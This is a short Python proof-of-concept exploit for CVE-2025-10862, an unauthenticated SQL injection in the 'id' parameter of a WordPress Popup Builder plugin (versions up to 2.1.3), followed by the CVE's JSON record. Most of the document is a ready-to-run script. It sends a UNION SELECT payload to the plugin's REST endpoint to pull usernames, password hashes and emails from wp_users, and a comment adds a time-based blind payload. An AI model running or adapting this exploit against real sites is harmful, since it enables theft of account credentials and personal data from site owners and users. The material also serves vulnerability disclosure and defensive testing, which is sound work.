CVE-2025-10862

# CVE-2025-10862 PoC - SQL Injection in Popup Builder WordPress Plugin # Vulnerable parameter: id # Affected versions: <= 2.1.3 import requests # Target WordPress site with vulnerable Popup Builder plugin target_url = "http://target-wordpress-site.com" # Vulnerable endpoint (based on includes/Routes/Popup.php) vulnerable_endpoint = "/wp-json/popup-builder/v1/popup" # SQL injection payload targeting the 'id' parameter # The injection appends additional SQL queries to extract sensitive information payload = "1 UNION SELECT user_login, user_pass, user_email FROM wp_users-- -" # Construct the exploit URL # The 'id' parameter is vulnerable due to insufficient escaping params = { "id": payload } # Send the malicious request (no authentication required) response = requests.get( target_url + vulnerable_endpoint, params=params, headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } ) # Check response for extracted data if response.status_code == 200: print("[+] SQL Injection successful!") print("[+] Response data:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative payload using time-based blind SQL injection # time_based_payload = "1 AND SLEEP(5)-- -" # This can be used to confirm the vulnerability if data is not directly returned

{"cve": {"id": "CVE-2025-10862", "sourceIdentifier": "[email protected]", "published": "2025-10-09T09:15:45.080", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Popup builder with Gamification, Multi-Step Popups, Page-Level Targeting, and WooCommerce Triggers plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 2.1.3. This is due to insufficient escaping on the 'id' parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/popup-builder-block/tags/2.1.2/includes/Helpers/DataBase.php#L374", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/popup-builder-block/tags/2.1.2/includes/Routes/Popup.php#L232", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3369146/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/93e0a1a1-fba6-4209-b679-e66d77870be2?source=cve", "source": "[email protected]"}]}}